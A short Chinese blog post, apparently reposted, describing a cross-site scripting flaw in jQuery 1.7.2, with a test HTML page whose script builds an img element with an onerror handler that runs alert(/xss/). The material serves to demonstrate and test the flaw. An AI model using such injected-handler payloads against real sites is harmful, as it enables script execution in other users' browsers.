JQuery-1.7.2.min.js跨站脚本漏洞
Posted
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了JQuery-1.7.2.min.js跨站脚本漏洞相关的知识，希望对你有一定的参考价值。
测试页面：
<!DOCTYPE html>
<html>
<head>
<script src="http://x.x.x.x:80/js/jquery-1.7.2.min.js"></script>
<meta charset="utf-8">
<title>JS Bin</title>
</head>
<body>
JQuery Test:
http://x.x.x.x:80/js/jquery-1.7.2.min.js
<script>
var img = $("<img onerror=‘alert(/xss/);‘>");
img.attr(‘src‘,‘xx‘);
</script>
</body>
</html>
参考链接：
http://jsbin.com/xiyuwuvubu/edit?html,js,output
https://segmentfault.com/a/1190000002463775
本文出自 “Mask_X 博客” 博客，转载请与作者联系！
以上是关于JQuery-1.7.2.min.js跨站脚本漏洞的主要内容，如果未能解决你的问题，请参考以下文章